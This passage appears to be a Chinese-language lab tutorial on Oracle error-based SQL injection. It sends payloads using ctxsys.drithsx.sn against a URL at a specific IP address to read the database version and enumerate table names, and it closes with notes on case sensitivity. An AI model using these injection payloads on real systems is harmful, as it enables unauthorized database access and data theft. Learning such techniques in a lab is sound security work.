          and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1)) -- qwe 查询数据库版本

          使用报错注入查看表名。

          http://59.63.200.79:8808/

          ?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1)) -- qwe

          文档截图

          ’<>’符号进行筛选表名。

          文档截图

          同样可以使用子查询的方式是实现limit排序,对表名进行筛选。

          http://59.63.200.79:8808/

          ?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from(select rownum r,table_name from user_tables)where r=1)) -- qwe

          文档截图

          http://59.63.200.79:8808/

          ?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from(select rownum r,table_name from user_tables)where r=2)) -- qwe

          文档截图
          注*:

          这里我们来说明一下数据库中大小写的问题。

          数据库中只有当作字符串区分大小写。其余不区分。

          例:下面两个查询,查询的是同一张表,然而admin并没有在引号里,所以大小写都可以查询成功。

          Eg:select rownum r,UPASS from admin

          文档截图

          Eg:select rownum r,UPASS from ADMIN

          文档截图

          而当查询语句变成:

          select *from user_tab_columns where table_name='ADMIN'

          文档截图

          这时候我们发现当所写的admin被当作字符串放在引号里边时就开始区分大小写了,原本表名为大写ADMIN,这里我们写入admin是查询不出来数据的.

          select *from user_tab_columns where table_name='admin'。

          文档截图

          数据库名大小写在这里是mssql不区分大小写的。

          比如我事先在数据库里创建好了一张名为jiang的表,当我们再去创建一张名为大写JIANG的表时,他会报错,说表名已存在。

          文档截图
          文档截图